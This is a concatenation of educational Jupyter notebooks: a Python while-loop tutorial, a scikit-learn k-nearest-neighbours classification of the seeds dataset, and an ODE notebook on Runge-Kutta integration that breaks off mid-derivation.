want to offer.\n", "def ride_bicycle():\n", " print(\"\\nHere's a bicycle. Have fun!\\n\")\n", " \n", "def go_running():\n", " print(\"\\nHere are some running shoes. Run fast!\\n\")\n", " \n", "def climb_mountain():\n", " print(\"\\nHere's a map. Can you leave a trip plan for us?\\n\")\n", "\n", "# Give the user some context.\n", "print(\"\\nWelcome to the nature center. What would you like to do?\")\n", "\n", "# Set an initial value for choice other than the value for 'quit'.\n", "choice = ''\n", "\n", "# Start a loop that runs until the user enters the value for 'quit'.\n", "while choice != 'q':\n", " # Give all the choices in a series of print statements.\n", " print(\"\\n[1] Enter 1 to take a bicycle ride.\")\n", " print(\"[2] Enter 2 to go for a run.\")\n", " print(\"[3] Enter 3 to climb a mountain.\")\n", " print(\"[q] Enter q to quit.\")\n", " \n", " # Ask for the user's choice.\n", " choice = input(\"\\nWhat would you like to do? \")\n", " \n", " # Respond to the user's choice.\n", " if choice == '1':\n", " ride_bicycle()\n", " elif choice == '2':\n", " go_running()\n", " elif choice == '3':\n", " climb_mountain()\n", " elif choice == 'q':\n", " print(\"\\nThanks for playing. See you later.\\n\")\n", " else:\n", " print(\"\\nI don't understand that choice, please try again.\\n\")\n", " \n", "# Print a message that we are all finished.\n", "print(\"Thanks again, bye now.\")" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "This is much cleaner code, and it gives us space to separate the details of taking an action from the act of choosing that action." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" } }, "source": [ "[top](#top)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "<a name='processing_list'></a>Using while loops to process items in a list\n", "===\n", "In the section on Lists, you saw that we can `pop()` items from a list. You can use a while list to pop items one at a time from one list, and work with them in whatever way you need. " ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "Let's look at an example where we process a list of unconfirmed users." ] }, { "cell_type": "code", "execution_count": 21, "metadata": { "collapsed": false, "slideshow": { "slide_type": "subslide" } }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Confirming user Daria...confirmed!\n", "Confirming user Clarence...confirmed!\n", "Confirming user Billy...confirmed!\n", "Confirming user Ada...confirmed!\n", "\n", "Unconfirmed users:\n", "\n", "Confirmed users:\n", "- Daria\n", "- Clarence\n", "- Billy\n", "- Ada\n" ] } ], "source": [ "# Start with a list of unconfirmed users, and an empty list of confirmed users.\n", "unconfirmed_users = ['ada', 'billy', 'clarence', 'daria']\n", "confirmed_users = []\n", "\n", "# Work through the list, and confirm each user.\n", "while len(unconfirmed_users) > 0:\n", " \n", " # Get the latest unconfirmed user, and process them.\n", " current_user = unconfirmed_users.pop()\n", " print(\"Confirming user %s...confirmed!\" % current_user.title())\n", " \n", " # Move the current user to the list of confirmed users.\n", " confirmed_users.append(current_user)\n", " \n", "# Prove that we have finished confirming all users.\n", "print(\"\\nUnconfirmed users:\")\n", "for user in unconfirmed_users:\n", " print('- ' + user.title())\n", " \n", "print(\"\\nConfirmed users:\")\n", "for user in confirmed_users:\n", " print('- ' + user.title())" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "This works, but let's make one small improvement. The current program always works with the most recently added user. If users are joining faster than we can confirm them, we will leave some users behind. If we want to work on a 'first come, first served' model, or a 'first in first out' model, we can pop the first item in the list each time." ] }, { "cell_type": "code", "execution_count": 22, "metadata": { "collapsed": false, "slideshow": { "slide_type": "subslide" } }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Confirming user Ada...confirmed!\n", "Confirming user Billy...confirmed!\n", "Confirming user Clarence...confirmed!\n", "Confirming user Daria...confirmed!\n", "\n", "Unconfirmed users:\n", "\n", "Confirmed users:\n", "- Ada\n", "- Billy\n", "- Clarence\n", "- Daria\n" ] } ], "source": [ "# Start with a list of unconfirmed users, and an empty list of confirmed users.\n", "unconfirmed_users = ['ada', 'billy', 'clarence', 'daria']\n", "confirmed_users = []\n", "\n", "# Work through the list, and confirm each user.\n", "while len(unconfirmed_users) > 0:\n", " \n", " # Get the latest unconfirmed user, and process them.\n", " current_user = unconfirmed_users.pop(0)\n", " print(\"Confirming user %s...confirmed!\" % current_user.title())\n", " \n", " # Move the current user to the list of confirmed users.\n", " confirmed_users.append(current_user)\n", " \n", "# Prove that we have finished confirming all users.\n", "print(\"\\nUnconfirmed users:\")\n", "for user in unconfirmed_users:\n", " print('- ' + user.title())\n", " \n", "print(\"\\nConfirmed users:\")\n", "for user in confirmed_users:\n", " print('- ' + user.title())" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "This is a little nicer, because we are sure to get to everyone, even when our program is running under a heavy load. We also preserve the order of people as they join our project. Notice that this all came about by adding *one character* to our program!" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" } }, "source": [ "[top](#top)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "<a name='infinite_loops'></a>Accidental Infinite loops\n", "===\n", "Sometimes we want a while loop to run until a defined action is completed, such as emptying out a list. Sometimes we want a loop to run for an unknown period of time, for example when we are allowing users to give as much input as they want. What we rarely want, however, is a true 'runaway' infinite loop." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "Take a look at the following example. Can you pick out why this loop will never stop?" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false, "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "current_number = 1\n", "\n", "# Count up to 5, printing the number each time.\n", "while current_number <= 5:\n", " print(current_number)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false, "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "1\n", "1\n", "1\n", "1\n", "1\n", "..." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "I faked that output, because if I ran it the output would fill up the browser. You can try to run it on your computer, as long as you know how to interrupt runaway processes:\n", "\n", "- On most systems, Ctrl-C will interrupt the currently running program.\n", "- If you are using Geany, your output is displayed in a popup terminal window. You can either press Ctrl-C, or you can use your pointer to close the terminal window." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "The loop runs forever, because there is no way for the test condition to ever fail. The programmer probably meant to add a line that increments current_number by 1 each time through the loop:" ] }, { "cell_type": "code", "execution_count": 23, "metadata": { "collapsed": false, "slideshow": { "slide_type": "fragment" } }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "1\n", "2\n", "3\n", "4\n", "5\n" ] } ], "source": [ "current_number = 1\n", "\n", "# Count up to 5, printing the number each time.\n", "while current_number <= 5:\n", " print(current_number)\n", " current_number = current_number + 1" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "You will certainly make some loops run infintely at some point. When you do, just interrupt the loop and figure out the logical error you made.\n", "\n", "Infinite loops will not be a real problem until you have users who run your programs on their machines. You won't want infinite loops then, because your users would have to shut down your program, and they would consider it buggy and unreliable. Learn to spot infinite loops, and make sure they don't pop up in your polished programs later on.\n", "\n", "Here is one more example of an accidental infinite loop:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false, "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "current_number = 1\n", "\n", "# Count up to 5, printing the number each time.\n", "while current_number <= 5:\n", " print(current_number)\n", " current_number = current_number - 1" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false, "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "1\n", "0\n", "-1\n", "-2\n", "-3\n", "..." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "In this example, we accidentally started counting down. The value of `current_number` will always be less than 5, so the loop will run forever." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" } }, "source": [ "<a name='exercises_infinite_loops'></a>Exercises\n", "---\n", "#### Marveling at Infinity\n", "- Use one of the examples of a failed while loop to create an infinite loop.\n", "- Interrupt your output.\n", "- Marvel at the fact that if you had not interrupted your output, your computer would have kept doing what you told it to until it ran out of power, or memory, or until the universe went cold around it." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false, "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "# Ex 6.4 : Marveling at Infinity\n", "\n", "# put your code here" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" } }, "source": [ "[top](#top)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" } }, "source": [ "<a name='overall_challenges'></a>Overall Challenges\n", "===\n", "#### Gaussian Addition\n", "This challenge is inspired by a story about the mathematician Carl Frederich Gauss. [As the story goes](http://mathforum.org/library/drmath/view/57919.html), when young Gauss was in grade school his teacher got mad at his class one day.\n", "\n", "\"I'll keep the lot of you busy for a while\", the teacher said sternly to the group. \"You are to add the numbers from 1 to 100, and you are not to say a word until you are done.\"\n", "\n", "The teacher expected a good period of quiet time, but a moment later our mathematician-to-be raised his hand with the answer. \"It's 5050!\" Gauss had realized that if you list all the numbers from 1 to 100, you can always match the first and last numbers in the list and get a common answer:\n", "\n", " 1, 2, 3, ..., 98, 99, 100\n", " 1 + 100 = 101\n", " 2 + 99 = 101\n", " 3 + 98 = 101\n", "\n", "Gauss realized there were exactly 50 pairs of numbers in the range 1 to 100, so he did a quick calculation: 50 * 101 = 5050.\n", "\n", "- Write a program that passes a list of numbers to a function.\n", " - The function should use a while loop to keep popping the first and last numbers from the list and calculate the sum of those two numbers.\n", " - The function should print out the current numbers that are being added, and print their partial sum.\n", " - The function should keep track of how many partial sums there are.\n", " - The function should then print out how many partial sums there were.\n", " - The function should perform Gauss' multiplication, and report the final answer.\n", "- Prove that your function works, by passing in the range 1-100, and verifying that you get 5050.\n", " - `gauss_addition(list(range(1,101)))`\n", "- Your function should work for any set of consecutive numbers, as long as that set has an even length.\n", " - Bonus: Modify your function so that it works for any set of consecutive numbers, whether that set has an even or odd length." ] }, { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": false, "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "# Overall Challenge: Gaussian Addition\n", "\n", "# put your code here" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" } }, "source": [ "[top](#top)" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.1" } }, "nbformat": 4, "nbformat_minor": 0 }

mit

zhuwei05/ml-basic

BuildMLSyswithPy/ch02_03.ipynb

1

9072

{ "cells": [ { "cell_type": "code", "execution_count": 4, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "'seeds dataset'" ] }, "execution_count": 4, "metadata": {}, "output_type": "execute_result" } ], "source": [ "\"\"\"seeds dataset\"\"\"" ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "collapsed": false }, "outputs": [], "source": [ "import numpy as np\n", "\n", "\n", "def load_dataset(dataset_name):\n", " '''\n", " data,labels = load_dataset(dataset_name)\n", "\n", " Load a given dataset\n", "\n", " Returns\n", " -------\n", " data : numpy ndarray\n", " labels : list of str\n", " '''\n", " data = []\n", " labels = []\n", " with open('./ch02/{0}.tsv'.format(dataset_name)) as ifile:\n", " for line in ifile:\n", " tokens = line.strip().split('\\t')\n", " data.append([float(tk) for tk in tokens[:-1]])\n", " labels.append(tokens[-1])\n", " data = np.array(data)\n", " labels = np.array(labels)\n", " return data, labels\n", "\n", "\n", "feature_names = [\n", " 'area',\n", " 'perimeter',\n", " 'compactness',\n", " 'length of kernel',\n", " 'width of kernel',\n", " 'asymmetry coefficien',\n", " 'length of kernel groove',\n", "]\n", "features, labels = load_dataset('seeds')" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "'Classifying with scikit-learn\\n* fit(features, labels): this is the learning step and fits the parameters of the model\\n* predict(features): this method can only be called after fit and returns a prediction for one or more inputs\\n'" ] }, "execution_count": 7, "metadata": {}, "output_type": "execute_result" } ], "source": [ "\"\"\"Classifying with scikit-learn\n", "* fit(features, labels): this is the learning step and fits the parameters of the model\n", "* predict(features): this method can only be called after fit and returns a prediction for one or more inputs\n", "\"\"\"" ] }, { "cell_type": "code", "execution_count": 8, "metadata": { "collapsed": true }, "outputs": [], "source": [ "\"\"\"K nearest neighbour classification\n", "\"\"\"\n", "\n", "from sklearn.neighbors import KNeighborsClassifier\n", "classifier = KNeighborsClassifier(n_neighbors=1)" ] }, { "cell_type": "code", "execution_count": 11, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Mean accuracy: 91.0%\n" ] } ], "source": [ "\"\"\"Cross validation\"\"\"\n", "from sklearn.cross_validation import KFold\n", "kf = KFold(len(features), n_folds=5, shuffle=True)\n", "\n", "means = []\n", "for training, testing in kf:\n", " # We learn a model for this fold with `fit` and then apply it to the\n", " # testing data with `predict`:\n", " classifier.fit(features[training], labels[training])\n", " prediction = classifier.predict(features[testing])\n", "\n", " # np.mean on an array of booleans returns fraction\n", " # of correct decisions for this fold:\n", " curmean = np.mean(prediction == labels[testing])\n", " means.append(curmean)\n", "print('Mean accuracy: {:.1%}'.format(np.mean(means)))" ] }, { "cell_type": "code", "execution_count": 13, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Mean accuracy: 93.3%\n" ] } ], "source": [ "\"\"\"Normalization\"\"\"\n", "from sklearn.pipeline import Pipeline\n", "from sklearn.preprocessing import StandardScaler\n", "\n", "classifier = KNeighborsClassifier(n_neighbors=1)\n", "\"\"\"\n", "The Pipeline constructor takes a list of pairs (str,clf).\n", "Each pair corresponds to a step in the pipeline: the first element is a string naming the step, \n", "while the second element is the object that performs the transformation.\n", "Advanced usage of the object uses these names to refer to different steps.\n", "\"\"\"\n", "classifier = Pipeline([('norm', StandardScaler()), ('knn', classifier)])\n", "\n", "means = []\n", "for training,testing in kf:\n", " # We learn a model for this fold with `fit` and then apply it to the\n", " # testing data with `predict`:\n", " classifier.fit(features[training], labels[training])\n", " prediction = classifier.predict(features[testing])\n", "\n", " # np.mean on an array of booleans returns fraction\n", " # of correct decisions for this fold:\n", " curmean = np.mean(prediction == labels[testing])\n", " means.append(curmean)\n", "print('Mean accuracy: {:.1%}'.format(np.mean(means)))" ] }, { "cell_type": "code", "execution_count": 21, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[ 0.89432367 0.88546699 0.9041868 0.9041868 0.92351047 0.9281401\n", " 0.92330918 0.90881643 0.91847826 0.92793881 0.91827697 0.91847826\n", " 0.91344605 0.91827697 0.91344605 0.91344605 0.91827697 0.92310789\n", " 0.90861514 0.91827697 0.91344605 0.90378422 0.90378422 0.88929147\n", " 0.89412238 0.89412238 0.88929147 0.88446055 0.89412238 0.88929147\n", " 0.89412238 0.8989533 0.90378422 0.90378422 0.90861514 0.89412238\n", " 0.90861514 0.90378422 0.90378422 0.90378422 0.90861514 0.8989533\n", " 0.91344605 0.90378422 0.91344605 0.90861514 0.91827697 0.8989533\n", " 0.91344605 0.90378422 0.91827697 0.90861514 0.91344605 0.90378422\n", " 0.90861514 0.8989533 0.89432367 0.89412238 0.89432367 0.89915459\n", " 0.89915459 0.90881643 0.91364734 0.90881643 0.91364734 0.91364734\n", " 0.90398551 0.91364734 0.90881643 0.89915459 0.91364734 0.90398551\n", " 0.90398551 0.89915459 0.90881643 0.90398551 0.90398551 0.90398551\n", " 0.90398551 0.90881643 0.90398551 0.89432367 0.89432367 0.88949275\n", " 0.88949275 0.89432367 0.88466184 0.88949275 0.89412238 0.88929147\n", " 0.88929147 0.88929147 0.88466184 0.875 0.87983092 0.88929147\n", " 0.87962963 0.87037037 0.87540258 0.88023349]\n" ] } ], "source": [ "\"\"\"k(from 1 ~ 100) knn\"\"\"\n", "\n", "import numpy as np\n", "from matplotlib import pyplot as plt\n", "\n", "from sklearn.neighbors import KNeighborsClassifier\n", "\n", "from sklearn.cross_validation import cross_val_score\n", "from sklearn.pipeline import Pipeline\n", "from sklearn.preprocessing import StandardScaler\n", "\n", "\n", "features, labels = load_dataset('seeds')\n", "\n", "# Values of k to consider: all in 1 .. 100\n", "ks = np.arange(1, 101)\n", "\n", "# We build a classifier object here with the default number of neighbors\n", "# (It happens to be 5, but it does not matter as we will be changing it below\n", "classifier = KNeighborsClassifier()\n", "classifier = Pipeline([('norm', StandardScaler()), ('knn', classifier)])\n", "\n", "# accuracies will hold our results\n", "accuracies = []\n", "for k in ks:\n", " # set the classifier parameter\n", " classifier.set_params(knn__n_neighbors=k)\n", " crossed = cross_val_score(classifier, features, labels)\n", "\n", " # Save only the average\n", " accuracies.append(crossed.mean())\n", "\n", "accuracies = np.array(accuracies)\n", "print accuracies\n", "\n", "# Scale the accuracies by 100 to plot as a percentage instead of as a fraction\n", "# plt.plot(ks, accuracies*100)\n", "# plt.xlabel('Value for k (nr. of neighbors)')\n", "# plt.ylabel('Accuracy (%)')\n", "# plt.savefig('figure6.png')\n", "# plt.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.12" } }, "nbformat": 4, "nbformat_minor": 1 }

mit

tiagotaveiragomes/ode

Ordinary Differential Equations.ipynb

2

280467

{ "cells": [ { "cell_type": "code", "execution_count": 16, "metadata": { "collapsed": false }, "outputs": [], "source": [ "%matplotlib inline\n", "import numpy as np, matplotlib.pyplot as plt" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Differential Equations\n", "\n", "An ordinary differential equation or ODE is a mathematical equation containing a function or functions of one independent variable and its derivatives. The term _ordinary_ is used in contrast with the term _partial_ differential equation or PDE which involves functions and their partial derivatives with respect to more than one independent variable. \n", "\n", "A Mathematical Model is a description of a system using mathematical concepts and language. ODEs and the PDEs are excellent tools for this purpose. Indeed, in real world applications, the functions usually represent physical quantities, the derivatives represent their rates of change, and the equation defines a relationship between the two. Because such relations are extremely common, differential equations play a prominent role in many disciplines including Dynamical Systems, Engineering, Physics, Biology…\n", "\n", "In pure mathematics, differential equations are studied from several different perspectives, mostly concerned with their solutions — the set of functions that satisfy the equation. Only the simplest differential equations are solvable by explicit formulas. However, some properties of the solutions of a given differential equation may be determined without finding their exact form.\n", "\n", "If an analytical solution is not available, the solution may be numerically approximated. The theory of Dynamical Systems puts emphasis on qualitative analysis of Systems described by differential equations, while many numerical methods have been developed to determine solutions with a given degree of accuracy.\n", "In general, partial differential equations are much more difficult to solve analytically than are ordinary differential equations. However, sometimes, separation of variables allows us to transform a PDE in a system of ODEs.\n", "\n", "In this work only ODEs were taken into account." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Ordinary Differential Equations (ODEs)\n", "\n", "Let F be a given function of x, y, and derivatives of y. Then an equation of the form:\n", "\n", "$$F\\left (x,y,y',\\cdots y^{(n-1)} \\right )=y^{(n)}$$\n", "\n", "where $y$ is a function of $x$, $y'= \\frac{dy}{dx}$ is the first derivative with respect to $x$, and $y^{(n)}=\\frac{d^{n} y}{dx^{n}}$ is the nth derivative with respect to $x$, is called an explicit ordinary differential equation of order $n$.\n", "\n", "More generally, an implicit ordinary differential equation of order $n$ takes the form:\n", "\n", "$$F\\left(x, y, y', y'',\\ \\cdots,\\ y^{(n)}\\right) = 0$$\n", "\n", "An ODE of order $n$ is said to be linear if it is of the form:\n", "\n", "$$y^{(n)}(x)+a_{n-1}y^{(n-1)}(x)+\\cdots+a_2y''(x)+a_1y'(x)+a_0y(x)=Q(x)$$\n", "\n", "$$(1)$$\n", "\n", "where $a_0$, $a_1$, $...$, $a_{n-1}$ are constants and $Q(x)$ is a function of the independent variable $x$. If $Q(x)=0$, the linear ODE is said to be homogeneous. \n", "\n", "In general, an nth-order linear ODE has $n$ linearly independent solutions. Furthermore, any linear combination of linearly independent functions solutions is also a solution, the general solution. The general solution of a non-homogeneous differential equation is obtained by adding the general solution of the associated homogeneous equation with a particular solution of the given equation. The coefficients of the linear combination of the solutions are obtained from the given initial conditions of the problem: $y(0)$, $y’(0)$,$\\cdots$, $y^(n-1)(0)$.\n", "\n", "Simple theories exist for first-order and second-order ordinary differential equations, and arbitrary ODEs with linear constant coefficients can be solved when they are of certain factorable forms. Methods such as:\n", "\n", "- Method of undetermined coefficients\n", "- Integrating factor\n", "- Method of variation of parameters\n", "- Separable differential equation\n", "\n", "are usually used. Integral transforms such as the Laplace transform can also be used to solve classes of linear ODEs. This last method was widely discussed during our Dynamical Systems and Control lectures in order to study first order and second order systems responses to some specific inputs, such as step or sinusoidal inputs.\n", "\n", "By contrast, ODEs that lack additive solutions are nonlinear, and solving them is far more difficult, as one can rarely represent them by functions in closed form. Instead, exact and analytic solutions of ODEs are in series or integral form that can be solved using methods such as:\n", "\n", "- Successive Approximations\n", "- Multiple scale Analysis\n", "- Power series solution of differential equations\n", "- Generalized Fourier series\n", "\n", "While there are many general techniques for analytically solving classes of ODEs, the only practical technique for approximating solutions of complicated equations is to use numerical methods. Graphical and numerical methods may approximate solutions of ODEs and yield information that often suffices in the absence of exact analytic solutions. Such methods include:\n", "\n", "- Euler method — the most basic method for solving an ODE\n", "- Explicit and implicit methods — implicit methods need to solve an equation at every step\n", "- Backward Euler method — implicit variant of the Euler method\n", "- Trapezoidal rule — second-order implicit method\n", "- Runge–Kutta methods — one of the two main classes of methods for initial-value problems\n", "\n", "The most popular of these are the Runge-Kutta methods. A 4th order method (5th order truncation method) was implemented in this work.\n", "\n", "In order to use numerical methods to solve a nth-order differential equation, the first step is to transform the differential equation into a system of $n$ differential equations of first order:\n", "Let be $Z$ a vector having as components the function $y$ and its first $n-1$ derivatives with respect to $x$: \n", "\n", "$$ Z=\\begin{bmatrix}y \\\\ y' \\\\ y'' \\\\ \\cdots \\\\ y^{(n-1)}\\end{bmatrix} = \\begin{bmatrix}z_1 \\\\ z_2 \\\\ z_3 \\\\ \\cdots \\\\ z_n\\end{bmatrix}$$\n", "\n", "The differential equation (1) is, then transformed into:\n", "\n", "$$\\begin{cases}z_1'=z_2 \\\\ z_2'=z_3 \\\\ \\vdots \\\\ z_{n-1}'=z_n \\\\ z_n'= Q(x)-a_{n-1}z_n- \\cdots - a_1z_2 - a_0z_1 \\end{cases}$$\n", "\n", "In Dynamical Systems, the independent variable is always the time so, from this point on, we are going to change the notation $x$ to $t$." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Runge-Kutta method\n", "\n", "The Runge–Kutta methods are a family of implicit and explicit iterative methods, which are used in temporal discretization for the approximation of solutions of ordinary differential equations. These techniques were developed around 1900 by the German mathematicians C. Runge and M. W. Kutta.\n", "\n", "$$y_{n+1}=y_{n}+h\\sum _{i=1}^{s}b_{i}k_{i}$$\n", "\n", "$$k_{1}=f(t_{n},y_{n})$$\n", "$$k_{2}=f(t_{n}+c_{2}h,y_{n}+h(a_{21}k_{1}))$$\n", "$$k_{3}=f(t_{n}+c_{3}h,y_{n}+h(a_{31}k_{1}+a_{32}k_{2}))$$\n", "$$\\vdots$$\n", "$$k_{s}=f(t_{n}+c_{s}h,y_{n}+h(a_{s1}k_{1}+a_{s2}k_{2}+\\cdots +a_{s,s-1}k_{s-1}))$$\n", "\n", "To specify a particular method, one needs to provide the integer s (the number of stages), and the coefficients $a_{ij}$, $b_i$, and $c_i$. The matrix $a_{ij}$ is called the Runge–Kutta matrix, while the $b_i$ and $c_i$ are known as the weights and the nodes. \n", "\n", "From the family of the runge-kutta methods the most commonly used are the order 4 and 5 methods, which can be implemented as follows, by inlining the values for $a_{ij}$, $b_i$, and $c_i$ directly in the code:" ] }, { "cell_type": "code", "execution_count": 17, "metadata": { "collapsed": false }, "outputs": [], "source": [ "def rungekutta(fn, y0, ti=0, tf=10, h=0.01):\n", " \n", " h = np.float(h)\n", " x = np.arange(ti, tf, h)\n", " Y = np.zeros((len(x), len(y0)))\n", " Y[0] = y0\n", " \n", " for i in range(0, len(x)-1):\n", " \n", " yi = Y[i]\n", " xi = x[i]\n", " \n", " k1 = h * fn(xi, yi)\n", " k2 = h * fn(xi + 0.5 * h, yi + 0.5 * k1)\n", " k3 = h * fn(xi + 0.5 * h, yi + 0.5 * k2) \n", " k4 = h * fn(xi + 1.0 * h, yi + 1.0 * k3) \n", " \n", " yk = yi + (1./6.) * (k1 + 2*k2 + 2*k3 + k4)\n", " Y[i+1] = yk\n", " \n", " return x, Y" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Second Order Linear System with 1 degree of freedom\n", "\n", "In order to study the potential of the numerical integration of an ODE, the second order linear Dynamical System with different responses to different inputs discussed during DSC lectures was used. This Dynamical System can be mathematically modeled by the following ODE:\n", "\n", "$$y''(t)+2 \\xi w_n y'(t)+w_n^2 y(t)=F(t)$$\n", "\n", "where $w_n$ represents the undamped natural frequency, $\\xi$ represents the damping ratio and $F(t)$ a forced exterior action. \n", "\n", "The solution $y(t)$ of this kind of differential equations is obtained as a sum of the general solution of the homogeneous differential equation, $y_h(t)$, with a particular solution of the complete differential equation, $y_p(t)$:\n", "\n", "$$y(t)=y_h(t)+y_p(t)$$\n", "\n", "This is a problem of initial conditions, $y(0)$ and $y'(0)$, which allow the determination of the integration constants.\n", "\n", "## Natural response of the system\n", "\n", "The natural response of the system is obtained in the absence of forced exterior actions, in other words, it is the solution of the homogeneous differential equation:\n", "\n", "$$y''(t)+2 \\xi w_n y'(t)+w_n^2 y(t)=0$$\n", "\n", "However, in order to get a response of the Dynamical System, it is necessary to change the initial conditions to the introduction of an initial perturbation to the System which can be modeled by a Dirac impulse. This is a convenient form to apply Laplace transform method to solve analytically the homogenous differential equation:\n", "\n", "$$y''(t)+2 \\xi w_n y'(t)+w_n^2 y(t)=\\delta(t)$$\n", "\n", "In these conditions the transfer function is:\n", "\n", "$$G(s)=\\frac{1}{s^2+2 \\xi w_n s+w_n^2}$$\n", "\n", "As referred before, the numerical integration of ODEs requires that each equation of degree $n$ is transformed into a system of ODEs of degree 1. This ODE is of degree 2. Thus, we will transform it into a system of 2 ODEs of degree 1.\n", "\n", "This ODE is of degree 2. Thus, we will transform it into a system of 2 ODEs of degree 1, as follows:\n", "\n", "$$ z = \\begin{bmatrix}z_1 \\\\ z_2 \\end{bmatrix} = \\begin{bmatrix} y(t) \\\\ y'(t) \\end{bmatrix} $$\n", "\n", "$$ z' = \\begin{bmatrix}z_1' \\\\ z_2' \\end{bmatrix} = \\begin{bmatrix} z_2 \\\\ -2\\xi w_n z_2 - w_n^{2} z_1 \\end{bmatrix}$$\n", "\n", "$$(2)$$\n", "\n", "The function `natural` is a builder function that takes as arguments $w_n$ and $\\xi$ and returns a `lambda function` representing the system $z'$:" ] }, { "cell_type": "code", "execution_count": 18, "metadata": { "collapsed": false }, "outputs": [], "source": [ "def natural(wn, qsi):\n", " return lambda x,y: np.array([\n", " y[1],\n", " -2 * wn * qsi * y[1] - np.power(wn, 2) * y[0],\n", " ])" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now let's consider the following initial conditions:\n", "$$y_0 = \\begin{bmatrix} y(0)\\\\ y'(0) \\end{bmatrix} = \\begin{bmatrix} \\sqrt{2}\\\\ \\sqrt{2} \\end{bmatrix}$$\n", "\n", "We will also consider $w_n=2\\pi$.\n", "\n", "We will focus on studying the properties of $z_2'$, and plotting only it." ] }, { "cell_type": "code", "execution_count": 19, "metadata": { "collapsed": true }, "outputs": [], "source": [ "y0 = np.array([np.sqrt(2), np.sqrt(2)])\n", "wn = 2 * np.pi" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Analytic solution\n", "\n", "The characteristic equation for the ODE we are studying can be given by:\n", "\n", "$$ s^2 + 2\\xi w_n s + w_n^2 = 0$$\n", "\n", "Applying the solving formula for polynomials, the roots for this equation are given by:\n", "\n", "$$ s_{1,2} = -\\xi w_n \\pm w_n \\sqrt{\\xi^2 - 1}$$\n", "\n", "So, the general solution of this homogenous equation is:\n", "\n", "$$ y(t) = C_1 e^{s_1 t} + C_2 e^{s_2 t} $$\n", "\n", "Where $C_1$ and $C_2$ are constants to be determined by the initial conditions.\n", "\n", "Because this System has different behaviours depending on the values of $\\xi$, we will study the System response with regard to different values of $\\xi$, namely for:\n", "\n", "- $\\xi=0$, an undamped System\n", "- $\\xi \\in{]0,1[} $, an under damped System\n", "- $\\xi=1$, a critically damped System\n", "- $\\xi>1$, an over damped System\n", "\n", "Note that the characteristic equation equals to the denominator of the transfer function $G(s)$ and thus, the poles of the transfer function are the roots of the characteristic equation." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "##Undamped system\n", "A System is called undamped when $\\xi=0$.\n", "\n", "We will study the behaviour of $z$ when $\\xi=0$ analytically and numerically." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Analytical solution\n", "\n", "Since $\\xi = 0$ the ODE can be written in the form:\n", "\n", "$$ y(t) = C_1 e^{j w_n t} + C_2 e^{-j w_n t} $$\n", "\n", "$$ y(t) = A_1 \\cos{w_n t} + A_2 \\sin{w_n t} $$\n", "\n", "And its' first derivative:\n", "\n", "$$ y'(t) = -w_n A_1 \\sin{w_n t} + w_n A_2 